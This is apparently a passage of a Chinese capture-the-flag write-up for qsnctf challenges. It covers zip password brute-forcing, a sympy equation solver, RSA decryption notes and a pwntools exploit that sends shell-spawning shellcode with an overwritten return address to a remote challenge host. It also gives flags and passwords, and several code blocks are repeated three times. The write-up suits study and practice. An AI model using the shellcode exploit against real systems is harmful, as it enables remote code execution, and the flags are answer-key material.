# 打开输入文件和输出文件
input_file = '1.txt'
output_file = '3.txt'
# 打开输入文件进行读取
with open(input_file, 'r') as f:
    # 读取每一行并去除前8个字符，然后写入输出文件
    with open(output_file, 'w') as out_f:
        for line in f:
            out_f.write(line[10:49].upper()+'\n')  # 写入去除了前8个字符的行
print("处理完成，输出文件为:", output_file)
# 打开输入文件和输出文件
input_file = '1.txt'
output_file = '3.txt'

# 打开输入文件进行读取
with open(input_file, 'r') as f:
    # 读取每一行并去除前8个字符，然后写入输出文件
    with open(output_file, 'w') as out_f:
        for line in f:
            out_f.write(line[10:49].upper()+'\n')  # 写入去除了前8个字符的行

print("处理完成，输出文件为:", output_file)
# 打开输入文件和输出文件
input_file = '1.txt'
output_file = '3.txt'

# 打开输入文件进行读取
with open(input_file, 'r') as f:
    # 读取每一行并去除前8个字符，然后写入输出文件
    with open(output_file, 'w') as out_f:
        for line in f:
            out_f.write(line[10:49].upper()+'\n')  # 写入去除了前8个字符的行

print("处理完成，输出文件为:", output_file)

然后用010创建新建二进制文件，看其文件头应该是zip格式把后缀名改为zip打开

其中flag是加密的图片，然后第二个提示是小写字母加数字，爆破压缩包的到密码为z12345

flag:qsnctf{b414e3e3a6449ddba0997db259203eb7}

小光的答案之书

跳转后需要密码

对照随波逐流编码表

圣武士密码->密码life

->Pwn方向

简单的数学题

这题就是解除三个方程即可

前两个都很简单，第三个需要用到python

脚本如下:

from sympy import symbols, Eq, solve
# 定义符号变量 x
x = symbols('x')
# 定义方程
equation = Eq(x**10 + 2**10 - 4*x, 6131066258749)
# 解方程
solution = solve(equation, x)
# 打印结果
print("x 的解为:", solution)
from sympy import symbols, Eq, solve

# 定义符号变量 x
x = symbols('x')

# 定义方程
equation = Eq(x**10 + 2**10 - 4*x, 6131066258749)

# 解方程
solution = solve(equation, x)

# 打印结果
print("x 的解为:", solution)
from sympy import symbols, Eq, solve

# 定义符号变量 x
x = symbols('x')

# 定义方程
equation = Eq(x**10 + 2**10 - 4*x, 6131066258749)

# 解方程
solution = solve(equation, x)

# 打印结果
print("x 的解为:", solution)

Easy_Shellcode

简单的shellcode，不过s的地址是变化的，但是题目给出了，使用pwntools接受即可

脚本如下：

from pwn import *
context(os="Linux",arch="amd64")
#io = process("./easy-shellcode")
io=remote("challenge.qsnctf.com",32436)
buff=io.recv(14)
#print(buff)
payload =asm(shellcraft.sh()).ljust(256,b'a') + p64(0) + p64(int(buff,16))
io.sendline(payload)
io.interactive()
from pwn import *
context(os="Linux",arch="amd64")
#io = process("./easy-shellcode")
io=remote("challenge.qsnctf.com",32436)
buff=io.recv(14)
#print(buff)

payload =asm(shellcraft.sh()).ljust(256,b'a') + p64(0) + p64(int(buff,16))
io.sendline(payload)
io.interactive()
from pwn import *
context(os="Linux",arch="amd64")
#io = process("./easy-shellcode")
io=remote("challenge.qsnctf.com",32436)
buff=io.recv(14)
#print(buff)

payload =asm(shellcraft.sh()).ljust(256,b'a') + p64(0) + p64(int(buff,16))
io.sendline(payload)
io.interactive()

->Crypto方向

解个方程

简单的密码加密常识

求逆元的方程为:d=libnum.invmod(e,phi)

m=pow(c,d,n)

四重加密

base32解码后得到:

这个就是压缩文件的密码

unicode编码

维吉尼亚

rot13

flag内内容套到qsnctf提交

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